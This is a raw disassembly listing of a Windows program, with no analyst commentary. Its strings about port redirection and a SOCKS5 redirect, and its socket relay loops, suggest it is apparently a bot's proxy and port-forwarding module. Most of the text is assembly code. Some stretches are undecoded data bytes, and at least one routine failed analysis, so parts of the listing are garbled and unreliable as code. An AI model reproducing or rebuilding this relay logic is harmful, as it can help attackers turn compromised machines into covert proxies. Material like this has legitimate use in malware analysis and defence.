; =============== S U B	R O U T	I N E =======================================



sub_42B540	proc near		; CODE XREF: sub_40152Dj

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42B70A
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42B598
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B598:				; CODE XREF: sub_42B540+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42B5F2
		mov	eax, [esi+0A5h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B5F2:				; CODE XREF: sub_42B540+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, edi
		jnz	short loc_42B622
		mov	eax, [esi+0A5h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B622:				; CODE XREF: sub_42B540+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_50FC50
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi	; ioctlsocket
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi	; ioctlsocket
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B70A
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B676:				; CODE XREF: sub_42B540+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B70A
		jge	short loc_42B6A0
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jnz	short loc_42B702


loc_42B6A0:				; CODE XREF: sub_42B540+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B70A
		jge	short loc_42B6DB
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42B702


loc_42B6DB:				; CODE XREF: sub_42B540+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp	; send
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B676
		jmp	short loc_42B70A
; ---------------------------------------------------------------------------


loc_42B702:				; CODE XREF: sub_42B540+15Ej
					; sub_42B540+199j
		push	0Ah
		nop
		call	near ptr 2801E3Fh


loc_42B70A:				; CODE XREF: sub_42B540+27j
					; sub_42B540+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_50FC88
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B71E
		push	eax
		call	edi	; closesocket


loc_42B71E:				; CODE XREF: sub_42B540+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42B72C
		push	esi
		call	edi	; closesocket


loc_42B72C:				; CODE XREF: sub_42B540+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42B540	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db  48h	; H
		db 0BCh	; ¼
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; ¡
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; ‰
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; ‹
		db 0F1h	; ñ
		db  89h	; ‰
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; è
		db 0A0h	;  
		db  67h	; g
		db 0FDh	; ý
		db 0FFh
		db  68h	; h
		db  80h	; €
		db  3Dh	; =
		db  44h	; D
		db    0
		db  8Dh	; 
		db  4Eh	; N
		db  11h
		db 0C7h	; Ç
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; Ç
		db    6
		db 0C0h	; À
		db 0E1h	; á
		db  43h	; C
		db    0
		db 0E8h	; è
		db 0DAh	; Ú
		db  5Dh	; ]
		db 0FDh	; ý
		db 0FFh
		db  8Bh	; ‹
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; ‹
		db 0C6h	; Æ
		db  5Eh	; ^
		db  64h	; d
		db  89h	; ‰
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  10h
		db 0C3h	; Ã
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B830:				; CODE XREF: ___:loc_4015F0j
					; ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401B8B
		test	byte ptr [esp+8], 1
		jz	short loc_42B848
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B848:				; CODE XREF: ___:0042B83Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B860	proc near		; CODE XREF: sub_401B8Bj
		jmp	sub_40179E
sub_42B860	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B880	proc near		; CODE XREF: sub_4019E2j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B880
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42BAB8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42B96B
		mov	edx, [esi+9Dh]
		push	edx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B96B:				; CODE XREF: sub_42B880+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42BA64


loc_42B97F:				; CODE XREF: sub_42B880+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42BA45
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		call	near ptr 71AC1028h
		nop
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42BA45
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42BA45
		push	0A9h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42B9E5
		mov	ecx, eax
		call	sub_401663
		mov	edi, eax


loc_42B9E5:				; CODE XREF: sub_42B880+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FBE
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013D4


loc_42BA45:				; CODE XREF: sub_42B880+111j
					; sub_42B880+133j ...
		push	0FAh
		nop
		call	near ptr 2801E3Fh
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42B97F


loc_42BA64:				; CODE XREF: sub_42B880+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42BA76
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42BA76:				; CODE XREF: sub_42B880+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017E4
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h


loc_42BAB8:				; CODE XREF: sub_42B880+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B880	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42BB70	proc near		; CODE XREF: sub_4021DFj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42BB70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_42BB70	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019B5
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42BE60:				; CODE XREF: ___:loc_40202Cj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BD84
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42BFC7
		push	0A1h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 93E8C88Bh, 8BFFFD57h, 360068F8h, 448D0044h, 16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD57BAh, 84C7C88Bh, 8024h, 100h, 58DEE800h, 9050FFFDh
		dd 7F000BE8h, 4C48377h,	48244C8Dh, 893B4789h, 80249Ch
		dd 3E80000h, 68FFFD53h,	443600h, 4C244C8Dh, 8B51026Ah
		dd 5778E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 6074E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	52CCE800h, 68FFFDh, 8D004436h
		dd 6A4C2454h, 0CE8B5203h, 0FD5741E8h, 0C7C88BFFh, 802484h
		dd 30000h, 65E80000h, 50FFFD58h, 0FF92E890h, 0C483777Eh
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD528Ah
		dd 8D69468Dh, 0E850264Fh, 0FFFD6016h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 0DE80000h
		db 54h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42BFC7:				; CODE XREF: ___:0042BE9Dj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C0F7
		push	9Dh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42C00E
		mov	ecx, eax
		call	sub_401889
		mov	edi, eax
		jmp	short loc_42C010
; ---------------------------------------------------------------------------


loc_42C00E:				; CODE XREF: ___:0042C001j
		xor	edi, edi


loc_42C010:				; CODE XREF: ___:0042C00Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C0F7:				; CODE XREF: ___:0042BFDAj
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C220
		push	0A2h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42C13E
		mov	ecx, eax
		call	sub_4018DE
		mov	edi, eax
		jmp	short loc_42C140
; ---------------------------------------------------------------------------


loc_42C13E:				; CODE XREF: ___:0042C131j
		xor	edi, edi


loc_42C140:				; CODE XREF: ___:0042C13Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42C1EE
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42C1F5
; ---------------------------------------------------------------------------


loc_42C1EE:				; CODE XREF: ___:0042C1E3j
		mov	byte ptr [edi+9Dh], 0


loc_42C1F5:				; CODE XREF: ___:0042C1ECj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42C220:				; CODE XREF: ___:0042C10Aj
		lea	ecx, [ebp+8Eh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C2ED
		push	0A1h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42C26A
		mov	ecx, eax
		call	sub_40216C
		mov	edi, eax
		jmp	short loc_42C26C
; ---------------------------------------------------------------------------


loc_42C26A:				; CODE XREF: ___:0042C25Dj
		xor	edi, edi


loc_42C26C:				; CODE XREF: ___:0042C268j
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C2ED:				; CODE XREF: ___:0042C236j
		lea	ecx, [ebp+0BCh]
		call	sub_4014D3
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C519
		lea	ecx, [esp+30h]
		call	sub_401424
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A87
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A87
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014D3
		cmp	eax, offset byte_446F70
		jnz	short loc_42C3CF
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A87


loc_42C3CF:				; CODE XREF: ___:0042C3BFj
		lea	ecx, [esp+18h]
		call	sub_4014D3
		cmp	eax, offset byte_446F70
		jnz	short loc_42C3ED
		push	offset byte_446F70
		lea	ecx, [esp+1Ch]
		call	sub_401A87


loc_42C3ED:				; CODE XREF: ___:0042C3DDj
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		mov	edi, dword_50FB08
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		push	eax
		call	sub_401C17
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42C519:				; CODE XREF: ___:0042C30Cj
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42C536
		mov	[ebp+11Ch], al


loc_42C536:				; CODE XREF: ___:0042C52Ej
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C710	proc near		; CODE XREF: sub_4021A8j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A8D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42C731
		inc	ecx
		mov	[eax+118h], ecx


loc_42C731:				; CODE XREF: sub_42C710+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
sub_42C710	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C790	proc near		; CODE XREF: sub_401E06j

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_436F4E
sub_42C790	endp

; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 840D8B19h, 500050FAh, 6840C183h, 445414h, 54E89051h
		dd 83778146h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42C7E0:				; CODE XREF: ___:00401D7Aj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42C7F3
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42C7F3
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


